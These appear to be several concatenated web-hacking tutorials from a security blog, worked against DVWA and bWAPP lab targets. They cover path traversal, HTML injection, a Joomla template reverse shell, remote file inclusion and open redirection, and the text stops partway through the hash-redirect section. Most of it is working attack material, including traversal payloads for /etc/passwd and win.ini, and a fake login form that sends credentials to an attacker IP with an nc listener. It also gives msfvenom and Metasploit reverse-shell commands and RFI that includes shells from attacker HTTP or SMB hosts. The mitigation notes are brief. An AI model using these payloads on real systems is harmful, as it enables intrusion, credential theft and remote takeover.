Isn’t it great if you get the number of back steps you need to perform in order to capture your desired file?

Path disclosure is that vulnerability, where the URL offers the complete path of the file it is containing, which thus allows the attacker to simply manipulate the URL and with no efforts he can access the system files.

As we moved further to lab 5, we were encountered with an application that was offering us the complete path of the file.

We simply just captured that request and send it to the repeater. From the below image, you can see that the filename parameter is having the value as “/var/www/images/21.jpg”. Which means that the file “21.jpg” is inside the images directory and the root directory is just 3 steps away from us.

So we are now aware of the number of back steps we need to make to get into the password file, therefore we’ll do that as

filename-/var/www/images/../../../etc/passwd

Null Byte Bypass

Many developers add up a ‘.php’ extension into their codes at the end of the required variable before it gets included.

Therefore the webserver interprets the /etc/passwd as /etc/passwd.php, thus we could not access the file. In order to get rid of this “.php” we try to terminate the variable using the null byte character (%00), that will force the php server to ignore everything after that, as soon as it is interpreted.

As soon as we share the captured request to the repeater we’ll try to eliminate this null byte character as discussed above.

So from the below image, you can see that we’ve again captured the password file by adding up (%00) in the URL as :

filename=../../../etc/passwd%00.jpg

Windows Server Path_Traversal Exploitation

It’s not necessary that every time we encounter with an application which is running over a Linux server, thus there are chances that our luck doesn’t work and we got stuck with a window’s server. Let’s learn the different sequences and the method that can be used during such situations.

Basic Path Traversal

I’m having DVWA setup over my window’s machine. You can learn this all from here.

Let’s boot inside the DVWA application as “admin: password” with the security level as “low”. Further, choose the vulnerability as File Inclusion from the left-hand panel.

As soon as we choose this, we’ll be redirected to the webpage which is suffering from path_traversal vulnerability.

Let’s capture this request through burpsuite and see what we can get through it.

From the above image, you can see that file.php is included in the page parameter. Let’s share this all to the repeater and try to play with this input field.

In order to call up the windows file on the web-applications screen, manipulate the page parameter with the following input.

page=C:/Windows/win.ini

From the above image, you can see that we’ve successfully called up the file in the response tab. Now forward this request and check the result over the application’s screen.

Double dots with Forward-Backward Slashes

Whether the application is hosted over a Linux server or a windows one, the developers always validate their web-applications. Here, in order to keep the application secure with the path traversal attacks. the developers block up some sequences such as “../”, which thus gets rejects out automatically if entered in the URL.

Increase up the DVWA’s security level and set it to “medium”. Capture the request at burpsuite and send everything directly to the repeater.

Form the below image, you can see that we’ve successfully bypassed this validation by the double dots followed by forward-backwards slashes and have again grabbed the “win.ini” file by :

page=…./\..../\..../\..../\..../\Windows/win.ini

Using a similar sequence you can even capture other files present in the windows system. From the below image you can see that I’ve grabbed up a flag i.e. fi.php which resides in the hackable folder by simply manipulating up the URL parameter as :

page=…./\..../\hackable/flags/fi.php

Blocked Traversal Sequences

There are many situations when such conditions didn’t work, that is the developer validates and blocks every possible sequence he can.

Let’s find the other possible way to get the “win.ini” file without getting involved with the commonly used sequences.

Again go for the security option and hit it up with the high security in your DVWA application. Come back to the File Inclusion section and capture the request in your burpsuite.

Share the HTTP request to the repeater tab and manipulate the URL page parameter with :

page=file://C:/Windows/win.ini

From the below image you can see that we have captured the “win.ini” file by entering the complete path to it in the URL parameter.

Let’s now try to capture the flag with the same procedure as :

page=file://C:/xampp\htdocs\dvwa\hackable\flags\fi.php

Great!! We have grabbed this hackable flag too.

Mitigation Steps

The developer should create a whitelist of all the files that he wants to include in order to limit the attacker’s control.
Develop or run the code in the most recent version of the webserver which is available. The web-applications should even be implemented with least privileges.
Exclusion of the directory separators “/” to prevent the web-application from the directory traversal attacks

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post Comprehensive Guide on Path Traversal appeared first on Hacking Articles.

“HTML” is considered as the skeleton for every web-application, as it defines up the structure and the complete posture of the hosted content. So have you ever wondered, if this anatomy got ruined up with some simple scripts? Or this structure itself becomes responsible for the defacements of the web-applications? Today, in this article, we’ll learn how such misconfigured HTML codes, open the gates for the attackers to manipulate the designed webpages and grabs up the sensitive data from the users.

Table of Content

What is HTML?
Introduction to HTML Injection
Impact of HTML Injection
HTML Injection v/s XSS
Types of Injection
- Stored HTML
- Reflected HTML
  - Reflected GET
  - Reflected POST
  - Reflected current URL
Mitigation Steps

What is HTML?

HTML is an abbreviation to “HyperText Markup Langauge”, is the basic building block of the web, which determine the formation of the web pages over a web-application. HTML is used to design websites that consist the “HyperText” in order to include “text inside a text” as a hyperlink and a combination of elements that wrap up the data items to display in the browser.

So what these elements are?

“An element is everything to an HTML page i.e. it contains the opening and closing tag with the text content in between.”

HTML Tag

An HTML tag label pieces of content, such as “heading”, “paragraph”, “form”, and so on. They are the element names surrounded by angle brackets and are of two types – the “start tag” also known as opening tag and the “end tag” referred to as the closing one. Browsers do not display these HTML tags but utilize them to grab up the content of the webpage.

HTML Attributes

In order to provide some extra information to the elements, we use attributes, they reside inside the start tag and comes in “name/value” pairs, such that the attribute name follows up with an “equal-to sign” and the attribute value is enclosed with the “quotation marks”.

<a href = "http://hackingarticles.in">Hacking Articles </a>

Here the “href” is the “attribute name” and “http://hackingarticles” is the “attribute value”.

As we’re now aware of the basic HTML terminologies, let’s check out the “HTML elements flowchart” and then will further try to implement them all to create up a simple web page.

Basic HTML Page:

Every web page over the internet is somewhere or the other an HTML file. These files are nothing but are the simple plain-text files with a “.html” extension, that are saved and executed over a web browser.

So let’s try to create a simple web page in our notepad and save it as hack.html:

<html>
<head>
<title> Hacking Articles lab</title>
</head>
<body bgcolor="pink">
<br>
<center><h2>WELCOME TO <a href=”http://hackingarticles.in”>HACKING ARTILCES </a></h2>
<br>
<p>Author “Raj Chandel”</p>
</center>
</body>
</html>

Let’s execute this “hack.html” file in our browser and see what we have developed.

Great!! We’ve successfully designed our first web-page. But how these tags worked for us, let’s check them out:

The <html>element is the root element of every HTML page.
The <head>determines the meta-information about the document.
The <title>element specifies a title for the webpage.
The <body>element contains the visible page content that has the “bgcolor” as an attribute as “pink”.
The <br>element defines break line or it defines up the next line.
The <h1>element defines a large heading.
The <p>element defines a paragraph
The <a> defines up the anchor tag which helps us to set up the “hyperlink”.

I guess you are now clear with “what HTML is and its major use” and “how can we implement this all”. So let’s try to find out the major loopholes and learn how the attackers inject arbitrary HTML codes into vulnerable web pages in order to modify the hosted content.

Introduction to HTML Injection

HTML Injection also termed as “virtual defacements” is one of the most simple and the most common vulnerability that arises when the web-page fails to sanitize the user-supplied input or validates the output, which thus allows the attacker to craft his payloads and injects the malicious HTML codes into the application through the vulnerable fields, such that he can modify the webpage content and even grabs up some sensitive data.

Let’s take a look over this scenario and lean how such HTML Injection attacks are executed:

Consider a web-application which is suffering from HTML Injection vulnerability and it does not validate any specific input. Thus the attacker finds this and he injects his malicious “HTML login Form” with a lure of “Free Movie tickets” to trick the victim into submitting his sensitive credentials.

Now as the victims surf that particular webpage, there he found the option to avail those “free movie tickets”. As he clicks over it, he got presented back with the application’s login screen, which is nothing but the attacker’s crafted “HTML form”. Therefore as soon as he enters his credentials, the attacker’s captures them all through his listener machine, leading the victim to compromise his data.

Impact of HTML Injection

When the input fields are not properly sanitized over in a webpage, thus sometimes this HTML Injection vulnerability might lead us to Cross-Site Scripting(XSS) or Server-Side Request Forgery(SSRF) attacks. Therefore this vulnerability has been reported with Severity Level as “Medium” and with the “CVSS Score of 5.3” under :

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page.
CWE-79: Improper Neutralization of Input During Web Page Generation.

HTML Injection v/s XSS

During such attacks, there are chances when we exempt to perform an HTML Injection attack and we fall up with the XSS one because HTML injection is almost similar to Cross-site Scripting. But if we look closer between the two, we’ll notice that during an XSS attack, the attacker have an opportunity to inject and execute the Javascript codes whereas in the HTML Injection he/she is bound to use certain HTML tags in order to deface the webpage.

Let’s now dive in further with the different HTML Injection attacks and check out the unusual ways how we can deface the webpages and captures up the victim’s credentials.

Stored HTML

A “stored HTML” also termed as “Persistence” because through this vulnerability the injected malicious script gets permanently store inside the web-applications server and the application server further drops it out back to the user when he visits the injected webpage. However, when the client clicks on payload which appears as an official part of the website, thus the injected HTML code will get executed by the browser.

The most common example of Stored HTML is the “comment option” in the blogs, which allow any user to enter his feedback as in the form of comments for the administrator or other users.

Let’s now try to exploit this stored HTML vulnerability and grab up some credentials.

Exploiting Stored HTML

I’ve opened the target IP in my browser and login inside BWAPP as a bee: bug, further I’ve set the “Choose Your Bug” option to “HTML Injection – Stored (Blog)” and had fired up the hack button.

Now, we’ll be redirected to the web page which is suffering from an HTML Injection vulnerability which allows the user to submit his entry in the blog as shown in the screenshot.

Initially, we will generate a normal user entry through “bee” as “Hacking Articles”, in order to confirm that the input data has successfully stored up in the webserver’s database, which is thus visible in the “Entry field”.

Now, let’s try to inject our malicious payload that will create up a fake user login form over this targeted web page and thus it will forward the captured request over to our IP.

Enter the following HTML code inside the given text area in order to set up the HTML attack.

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid 
credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>

From the below image you can see that, as I clicked over the “Submit” button, a new login form has been displayed over on the webpage. This login form is thus now into the application’s web server, which gets rendered every time whenever the victim visits this malicious login page, he’ll always have this form which looks official to him.

So let’s now enable our netcat listener at port 4444 in order to capture up the victim’s request.

nc –lvp 4444

Though its time to wait, until the victim boots this page up into his browser, and enters his credentials.

Great!! From the above image, you can see that the user “Raj” opened the webpage and tried to login inside as raj:123.

So let’s get back to our listener and check whether the credentials are captured in the response or not.

From the below image, you can see that we’ve successfully grabbed up the credentials.

Reflected HTML

The reflected HTML also known as “Non-Persistence” is occurred when the web application responds immediately on user’s input without validating what the user entered, this can lead an attacker to inject browser executable code inside the single HTML response. It is termed “non-persistent” as the malicious script does not get stored inside the webserver, thus the attacker needs to send the malicious link through phishing to trap the user.

Reflected HTML vulnerability can be easily found in website’s search engines: here the attacker writes up some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return as in response to these HTML entities.

Reflect HTML is basically of three types:

Reflected HTML GET
Reflected HTML POST
Reflected HTML Current URL

Before making our hands wet by exploiting the Reflected HTML labs, let us recall that – with the GET method, we request data from a specific source whereas the POST method is used to send data to a server in order to create/update a resource.

Reflected HTML GET

Here, we’ve created a webpage, which thus permits up the user to submit a “feedback” with his “name”.

So, when the user “Raj Chandel” submits his feedback as “Good”, a message prompts back as “Thanks to Raj Chandel for your valuable time.”

Thus this instant response and the “name/value” pairs in the URL shows up that, this page might be vulnerable to HTML Injection and the data has been requested over the GET method.

So, let’s now try to inject some HTML codes into this “form” in order to be confirmed up with it. Type following script at the “Name” field as

<h1>Raj Chandel</h1>

And set Feedback to “Good”

From the below image you can see that the user’s name “Raj Chandel” has been modified as the heading as in the response message.

Wonder why this all happened, let’s check out the following code snippet.

With the ease to reflect the message on the screen, the developer didn’t set up any input validation i.e. he simply “echo” the “Thanks message” by including up the input name through the “$_GET” variable.

“There are times when the developer sets up some validations into the input fields which thus refects our HTML code back onto the screen without getting rendered.”

From the below image you can see that when I tried to execute the HTML code in the name field, it drops it back as the plain-text as:

So is the vulnerability is patched up here?

Let’s check this all out by capturing its outgoing Request with our helping hand “burpsuite” and will further send the captured request directly to the “Repeater” tab.

In the “Repeater” tab, as I clicked over the “Go” button to check for the generated response, I found that my HTML entities have been HTML decoded here as:

Thus I coped the complete HTML code “<a href = http://hackingarticles.in”><h2>Raj</h2></a>” and pasted that all into the Decoder tab. Further from the right-hand pallet, I clicked over at “Encode as” and opted for the URL one.

As we get the encoded output, we’ll again set it over in the “Encode as” for the URL to get it as in the double URL encoded format.

Let’s now try this out, copy the complete double encoded URL and paste it over in the “name=” field within the repeater tab in the Request option.

Click on the Go button to check for its generated Response.

Great!! From the below image, you can see that we’ve successfully manipulated the Response.

Now just do the similar amendments into the Proxy tab and hit the “Forward” button. From the below image you can see that, we ‘ve defaced this web page too through its validated fields.

Let’s check out the code snippet to see where the developer had made input validation:

From the below image you can see that, here the developer had made a function as “hack” for the variable data and even he had decoded the “<” and “>” to “<” and “>” for $data and $input respectively, further he used the inbuilt PHP function urldecode over for $input to decode up the URL.

From the below image you can see that the developer implemented the function hack over at the name field.

Reflected HTML POST

Similar to the “GET webpage”, the “Name” and the “Feedback” fields are vulnerable here too, since the POST method has been implemented, thus the form data won’t be displayed in the URL.

Let’s try to deface this webpage again but this time we’ll add up an image rather than a static text as

<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

From the below image, you can see that the “Ignite technologies logo” has been placed up over the screen, thus the attacker here can even inject other media formats such as videos, audios or the gifs.

Reflected HTML Current URL

Can a web-application be vulnerable to HTML Injection with no input fields over on the web page?

Yes, it’s not necessary to have an input filed like a comment box or search box, some applications display your URL over on their webpages and they might be vulnerable to HTML Injection, as in such cases, the URL acts as the input field to it.

From the above image, you can see that the current URL is being displayed over on the web-page as “http://192.168.0.16/hack/html_URL.php”. So let’s take over to this advantage and see what we can grab.

Tune in your “burpsuite” and capture the ongoing HTTP Request

Now let’s manipulate this request with :

/hack/html_URL.php/<h1>Hey_are_you_there?</h1>

Click on the Forward button to check the result over on the browser.

Great!! From the below image you can see that we have successfully defaced the website by simply injecting our desired HTML code into the web application’s URL.

Let’s have a look over its code and see how the developer managed to get the current URL over on the screen

Here the developer used the PHP global variable as $_SERVER in order to capture up the current page URL. Further, he amended the hostname with “HTTP_HOST” and the requested resource location to the URL with “REQUEST_URI” and placed it all in the $url variable.

Coming to the HTML section he simply set echo with the $url variable without any specific validation, in order to display the message with the URL.

Mitigation Steps

The developer should set up his HTML script which filters the metacharacters from user inputs.
The developer should implement functions to validate the user inputs such that they do not contain any specific tag that can lead to virtual defacements.

Source:

https://www.w3schools.com/

https://www.javatpoint.com/

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post Comprehensive Guide on HTML Injection appeared first on Hacking Articles.

As you can see in the image below, the website is made in Joomla. Now, that we have our Joomla environment we start exploiting it.

Once you are logged in, go to extensions. A drop-down menu will appear, from this menu select templates; just like it has been shown in the image below :

Implementing the above will show you the list of templates present in the website and so we will exploit one of them i.e. Beez3 details and files.

Once, you are in the template, go to index.php as shown in the image below :

This way you will able to edit index.php in the template as you can see in the image below :

Now, swap the code of index.php with the reverse shellcode i.e. found in Kali Linux and add your IP and port in the code just like it has been shown in the image below :

Now, activate netcat to get a session with the following command :

nc -lvp 1234

Another way to get a reverse shell is by msfvenom, and for this type the following command :

msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R

The above command will give you the malicious php code. Swap this code just like before and simultaneously start the multi/handler as shown in the image below :

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.9
set lport 1234
exploit

These were the two ways to get a reverse shell in Joomla.

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here

The post Joomla: Reverse Shell appeared first on Hacking Articles.

Have you ever wondered about the URL of the web-applications, some of them might include files from the local or the remote servers as either “page=” or “file=”. I hope you’re aware of the File Inclusion vulnerability. If not, I suggest you revisit our previous article for better understanding, before going deeper with the Remote File Inclusion Vulernabilty implemented in this section.

Table of Content

Introduction to RFI
Why Remote file Inclusion Occurs?
Remote File Inclusion Exploitation
- Basic Remote File Inclusion
- Reverse Shell through Netcat
- RFI over Metasploit
- Bypass a Blacklist Implemented
- Null Byte Attack
- Exploitation through SMB Server
Mitigation Steps

Introduction

Remote File inclusion is another variant to the File Inclusion vulnerability, which arises when the URI of a file is located on a different server and is passed to as a parameter to the PHP functions either “include”, “include_once”, “require”, or “require_once”.

The Remote File Inclusion vulnerabilities are easier to exploit but are less common say in 1 of the 10 web-applications. Here thus, instead of accessing a file on a local server, the attacker could simply inject his/her vulnerable PHP scripts which are hosted on his remote web-application into the unsanitized web application’s URL, which thus might lead to disastrous results as:

Allowing the attacker to execute remote commands on a web server as [RCE].
Provides complete access to the server.
Deface parts of the web, or even steal confidential information.
Implementation of Client-Side attacks as Cross-Site Scripting (XSS).

Therefore this Remote File Inclusion vulnerability has been reported as “Critical ” and with the CVSS score of “9.8” under:

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program.
CWE-20: Improper Input Validation
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Why Remote File Inclusion Occurs

Unlike Local File Inclusion, this remote file inclusion vulnerability also occurs due to the poorly written PHP server-side codes where the input parameters are not properly sanitized or validated.

Look at the following code snippet, which thus lets the web-application to suffer from the RFI vulnerability as the developer is only dependable on the “$file” variable with the “GET” method and hadn’t placed any input validation over it.

But this logical error didn’t fulfil the requirements to RFI vulnerability until the developer enables some insecure PHP settings as “allow_url_include = On” and “allow_url_fopen = On”, Therefore the combination of these two i.e. the developer logic and the insecure settings, open the gates to the disastrous RFI vulnerability.

Basic Remote File Inclusion

I guess, up till now, you might be having a clear vision with what is Remote File Inclusion and why it occurs. So let’s try to dig some deeper and deface some web-applications with a goal to achieve a reverse shell.

I’ve opened the target IP in my browser and logged in inside DVWA as admin: password, further I’ve opted for the File Inclusion vulnerability present on the left-hand side of the window. And even for this time, I’ve kept the security level to low.

Note :

allow_url_include is disabled by default. If allow_url_fopen is disabled, allow_url_include is also disabled

You can enable allow_url_include from php.ini by running the following commands :

nano /etc/php/7.2/apache2/php.ini
allow_url_include = On
allow_url_include = Off

Therefore now we’ll be presented with a web-page which is suffering from File Inclusion vulnerability as it is simply including the include.php file into its URL parameter as

“page=include.php”

Let’s try to manipulate this URL parameter and surf google.com over this DVWA application as:

192.168.0.2/DVWA/vulnerabilities/fi/?page=https://www.google.com

Cool !! The below image thus confirms up that this application is vulnerable to RFI vulnerability.

Reverse Shell through Netcat

Won’t you be happy, if we could convert this basic RFI exploitation to a reverse shell, let’s check it out how?

Initially, we’ll generate up a payload using the best php one-liner as:

msfvenom -p php/reverse_php lport=4444 lhost=192.168.0.5 > /root/Desktop/shell.php

Great, let’s now host this directory so that we could use it over in the URL parameter.

python –m SimpleHTTPServer

From the below image, you can see that the Desktop folder has been hosted over the HTTP server on port 8000.

Now let’s boot up our Netcat listener over on port 4444

nc –lvp 4444

As the netcat is about to listen, till that time, let’s include our shell over in the vulnerable URL parameter as :

192.168.0.2/DVWA/vulnerabilities/fi/?page=http://192.168.0.5:8000/shell.php

Fire up the forward button and get back our netcat listener, it might have some interesting things for us.\ Great !! We’ve successfully captured up the reverse shell. Let’s grab up some striking details now.

RFI over Metasploit

Wasn’t the Netcat procedure was long and complicated enough, just to get a reverse shell.

So let’s do some smart work & let’s boot one of the favourite tools of every pentester i.e. “Metasploit”

But before using any exploit into that, let’s capture up the HTTP Header of the URL that confirmed us the RFI existence i.e. “page=https://www.google.com” and further copy the logged in PHP session id along with all the security information.

Here I’ve used the Live HTTP Header – a firefox plugin, in order to capture the same.

So, it’s time to get the full control of the web application’s server, just simply execute the following commands and you are good to in:

msf > use exploit/unix/webapp/php_include
set payload php/meterpreter/bind_tcp
set RHOST 192.168.0.2
set PATH /DVWA/vulnerabilities/fi/
set HEADERS " Cookie: security=low; PHPSESSID=4536da6h54ski6ftv09gdq35ik"
exploit

Wooah !! With some basic executions, we got the meterpreter session.

Bypass a Blacklist Implemented

So, it’s not every time we would be lucky enough that the developer sets up the code without any validations, they might set some blacklists with the commonly used elements as “http:” or “https:” or even similar to them in order to secure up their web-application.

Therefore to bypass this implemented blacklist, we need to try all the different combinations like “HTTP:” or “hTTp:” that the developer might forget to add.

I’ve increased up the security level to “medium” and tried up with all the different combinations. From the below image you can see that the “HTTPS” worked for me and would thus be able to exploit the RFI vulnerability again.

Null Byte Attack

A developer can never forget, to add up a ‘.php’ extension into their codes at the end of the required variable before it gets included. That is the webserver will interpret every file with the “.php” extension.

Thus, if I wish to include “tryme.txt” into the URL parameter, the server would interpret it as “tryme.txt.php.” and drop back an error message.

So what should we do when the developer sets this all?

The answer is to go for the Null Byte Attack, using up the question mark [?] character, which will thus neutralize the problem of the “.php”, forcing the php server to ignore everything after that, as soon as it is interpreted.

192.168.0.3/bWAPP/rlfi.php?language=http://192.168.0.5:8000/tryme.txt?

Exploitation through SMB Server

As discussed earlier, RFI vulnerability is about to impossible until the developer enables up the “allow_url_include” or “allow_url_fopen” in the php.ini file.

But what if, if the developer never enabled that feature, and run his web application as simple as he could without including any specific file from any remote server. Would it still be vulnerable to RFI?

The answer is “Yes”, RFI vulnerabilities can be exploited through the SMB Server even if the “allow_url_include” or “allow_url_fopen” is set to Off.

As when the “allow_url_include” in PHP is set to “off”, it does not load any remote HTTP or FTP URL’s to prevent remote file inclusion attacks, but this ”allow_url_include” does not prevent loading SMB URLs.

Wonder how to grab this all? Let’s exploit it out here in this section. So, I’ve set up the vulnerable bWAPP application over in my windows machine. You can do the same from here.

Lets Start !!

Initially, I had reconfigured my PHP server by disallowing the “allow_url_include” and “allow_url_fopen” wrapper in the “php.ini” file at C:\xampp\php\

Now in order to activate the SMB service in my Kali machine, I’ve used the impacket toolkit which thus set up everything with a simple one-liner as:

python smbshare.py –smb2support sharepath /root/Desktop/Shells

As we are executing our attack over the windows 10 machine, so here I have used the “smb2support”, and had further set the share directory as /root/Desktop/Shells/ . You can learn more about Impacket from here.

From the below image you can see that our directory has been shared successfully over the SMB server without any specific credentials.

In order to confirm up the same, let’s check it all out on any windows machine over the “Run dialog box” as

\\192.168.0.8\sharepath\

Cool !! Our SMB Server is working perfectly and we’re able to access its shared files.

So let’s get back to our Kali machine and check whether the PHP code is allowing any remote file inclusion or not. From the below image, you can see that when I tried with the basic RFI attack, I was presented with an error message as “https:// wrapper is disabled” by allow_url_include=0; which thus confirms me up that the PHP code is blocking the files to be included from any remote server.

So, it’s time to deface this web-application by bypassing the “allow_url_include” wrapper with our SMB share link as :

192.168.0.3/bWAPP/rlfi.php?language=\\192.168.0.8\sharepath\shell.txt

Great !! From the below image you can see that our shell has successfully included into this vulnerable web-application and we’re presented with the contents of it.

Mitigation Steps

To prevent web applications from the file inclusion attacks, we need to use strong input validation. we should restrict the input parameter to accept a whitelist of acceptable files and reject all other inputs that do not strictly conform to specifications.

Sanitizing user-supplied / controlled inputs to the best of your ability is always preferable. Those inputs are: GET/POST parameters

URL parameters
Cookie values
HTTP header values

This can all be examined with the following code snippet:

Develop or run the code in the most recent version of the PHP server which is available. And even configure the PHP applications so that it does not use register_globals.
On the server-side, configure the ini configuration file, by disallowing remote file include of http URI which limits the ability to include the files from remote locations i.e. by changing the configuration file with the following command:

nano /etc/php/7.2/apache2/php.ini

"allow_url_fopen = OFF"
"allow_url_include = OFF"
sudo service apache2 restart

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post Comprehensive Guide on Remote File Inclusion (RFI) appeared first on Hacking Articles.

URL commonly referred to as a web address, which determines up the exact location of a web resource over the internet. But what, if this URL gets redirects and takes you to the place where you never expected to? Today, in this article, we’ll take a tour on Open Redirection and would learn how an attacker can deface a website by simply redirecting its URL to a malicious one.

Table of Content

What is the URL?
Introduction to Open Redirection
Open Redirection Impact
Open Redirection Exploitation
- Basic Redirection
- Encoded Redirection
  - URL Encoded Redirection
  - Double URL Encoded Redirection
  - Base64 Redirection
- URL Redirection with Hash values
- Redirection with Hash values using salt.
- Redirection over inside a Web page
- DOM-based Open Redirection
Mitigation Steps

What is the URL?

A URL is an abbreviation to Uniform Resource Locator, which is nothing but an address to a unique resource or a file over the Internet. These resources can be anything, an HTML page, an image, or a CSS document.

A URL is composed of different segments – including a protocol, a domain name, or a path – which instructs the web browser about how to fetch a resource and thus are even managed by the webserver. However, it is the responsibility of the developer to validate the resources and its associated URLs and even the user-input parameters.

A basic URL is structured in a way as:

Introduction to Open Redirect

Have you ever noticed about the response codes that the web-application offer as “301” or “302”, they simply speak out about the URL redirection!

Many developers set up their web-applications in order to request resources over from the web pages or to send their visitors to some different location, that reside within or outside the web–interface. To do so, they implement some basic functions such as header() in PHP, redirect() in Python, Response.Redirect() in C# and many others.

But this URL Redirection is often overlooked by the developers, as the function they use, sometimes are not properly validated or filtered or even they let the users enter their desired input which thus further, could lead to one of the most common vulnerabilities i.e. “Open Redirect”.

“Open Redirect” or “Unvalidated Redirection” is possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing attack and steal user credentials.

Source – OWASP

Didn’t understood well, let’s check out the following scenario:

The user get’s a phishing email stating that “Example.com – A movie booking web-app” is giving its users “a free movie ticket” over the URL specified in the email as:

“ www.example.com/?url=www.abc.in “

The URL seems to be the genuine one, as it is having the domain name of “example.com”, but the same URL is thus having a redirecting over to “abc.in” which is nothing but the attacker’s fake web application.

Now, when the user opens up the URL and enters her credentials over the “example’s login portal”, and as she clicks on the login button, she thus gets redirected to a different login page rather than example’s home page, as the Login button over example.com was suffering from “Open Redirect Vulnerability”. Therefore, now when she enters up her credentials again, they got compromised and thus then she’ll get redirected to the home page.

Open redirection Impact

Open Redirection is itself a minor vulnerability, but, it thus itself can cause major damage to the web-application when integrated with others as with “RCE” or “XSS”.

Therefore, it thus has been reported with “Medium Severity” with a CVSS score of “6.1” under:

CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’)

So, in order to exploit this all, we’ve developed some PHP codes as the similar way the developer creates them to enable URL redirections into their applications, further we’ve even used a bWAPP-a vulnerable web-application and the PortSwigger lab.

Let’s Start !!

Basic Redirection

There are chances when the developer does not care about the input validations or filtrations or anything specific and simply implements the redirection functions as header() and let the redirected URL be in the clear texts.

From the below image you can see that the redirected URL over at the “here” text, is simply reflected as in the cleartext, which means that if we click over on it, we’ll be redirected to “hackingarticles.in”.

So, let’s try to capture this all in our burpsuite and check what we could manipulate over on.

From the above image, you can see that, in the “url=” parameter https://www.hackingarticles.in is travelling, let’s try to manipulate this simple clear text with “http://www.google.com”.

Simple !! From the below image you can see that, we’ve been redirected to “google.com” with a basic manipulation.

Encoded Redirection

In order to secure up the redirection process, sometimes the developers encode up the “url=” values and let the URL travel over on the internet as in with the redirection. The major encoding methods that a developer can implement are as the URL-encoding or the base-64 encoding.

But, as we are aware that encoding is a 1-way technique, thus this security can simply be breached if we know about what encoding methodology the developer used into all this.

URL Encoded Redirection

URL Encoding is one of the most common encoding methodologies that the developer use in order to disallow some vulnerable characters such as “<” or “>”, to get embedded into the URL.

The following PHP code snippet shows up a basic URL decoding redirection, which first decodes up the encoded input URL and then redirects it over to its desired destination.

Let’s try to bypass this encoding with some simple tricks.

From the following image, you can see that, as when I captured up the ongoing HTTP Request over of the “here” text, I was presented with the “url=” parameter containing the URL encoded redirection link.

By analyzing the captured request, it makes us clear that the “url=” parameter is having a simple basic URL encoded value. Though, let’s now try to encode our URL i.e. “https://www.ignitetechnologies.in” over from the encode tab in our burpsuite.

Cool!! Let’s check whether this would work or not. Manipulate the “url=” parameter with the ignite’s encoded value.

From the below image, you can see that, we’ve successfully defaced the website over with the “Open Redirection” vulnerability with some simple clicks.

Double URL Encoded Redirection

Being a developer, he knows that, basic URL encoding can easily be bypassed with some simple clicks, therefore in order to make his application more secure with the redirection section, he implements “Double URL Encoding”, where he used the “urlencode() and urldecode()” function twice one after the other as in the home page and the redirection page respectively.

The following is the redirection code snippet which speaks out about how the decoding is to be performed, thus this first take up the encoded URL and decodes it up, further with another urldecode function, it will thus decode the previous decoded URL and then pass it for the redirection.

So now, as we hover on the “here” text, we’ll find that this time the URL is not in the readable format, thus to be more precise let’s capture this all over in the burpsuite.

From the below image, you can see that the “url=” parameter’s value is different from the one that we see earlier when we hovered on the text, which simply means that, there is some more encoding over it.

Let’s copy it out and check it over in the decode tab. From the below image, you can see that we got the decoded URL to be as “http://hackingarticles.in” when we opted the “URL Decode” option for about two times.

Until now, we are aware that, this application is taking up the URL’s that are double-encoded. Let’s now try to deface this web-application by manipulating up its “url=” parameter value again with “https://ignitetechnologies.in”.

But wait, before that, we need to implement the double encoding methodology, which will thus make the redirection successful.

Copy the double encoded value, and paste it over to the “url=” value.

Great!! We are almost done, let’s click on the Forward button, and check out what it displays to us.

Base64 Redirection

URL Encoding is not the only encoding methodology that the developer implements, thus in order to make the redirection process more secure, they may use base64, hex, octal, binary, HTML or anything specific.

From the above image, you can see that if we hover over the “here” text, we get the “url=” value in the encoded form. So, let’s try to bypass this encoding:

In my burp suite monitor, I’ve captured up the ongoing request and have copied the “url=” value.

Now, with the copied encoded value, I tried to decode it with different encoding methodologies, and thus there, I got it for Base64.

Cool !! As we are now aware of the encoding method, let’s now try to encode some other URL’s and check for their outcomes.

Back in the burpsuite, and in the decode tab, I’ve tried to encode “google.com” over with Base64. There I’ve further copied up its encoded value.

Let’s now manipulate the “url=” parameter with the copied value and thus then fire up the Forward button and check the response over back in the browser.

Great!! From the below image, you can see that we’ve again successfully bypassed this security.

Let’s check out why this all happened:

From the below code snippet, you can see that the developer is again trusting his visitors and is reliable on the header() function which first decodes up the encoded input URL with URL decode and then with base-64 decoding, thus further redirects the user to his desired webpage.

URL Redirection with Hash values

Experienced developers use hash values, which immunes up the web –applications from the “Open Redirect” vulnerability, they could have used any hashing algorithm, whether it is MD5, SHA512 or SH1 or any other.

Some developers even implement the combination of URL and the hash values as we’ve used in this section i.e. when choose the “Copy Link Location” of “here” text we’ll get the output

From the below image, you can see that this time rather than the “url=” parameter, we have one more as “hash=”.

Now, if we manipulate the “url=” with “https://www.bing.com” and leaves up the hash value the same as it was, thus then we will face the error.

“As when we clicked on the “here” text, the redirection script will catch the passed URL and generate its hash value and compare the generated hash value with the hash value we have sent with the request, if both the hash values match the redirection would work else it will fail.”

Here in this segment, the developer used the MD5 hash algorithm.

So, let’s now try to exploit this major security again with some manipulations, but this time we need to encrypt our URL over with the MD5 hash.

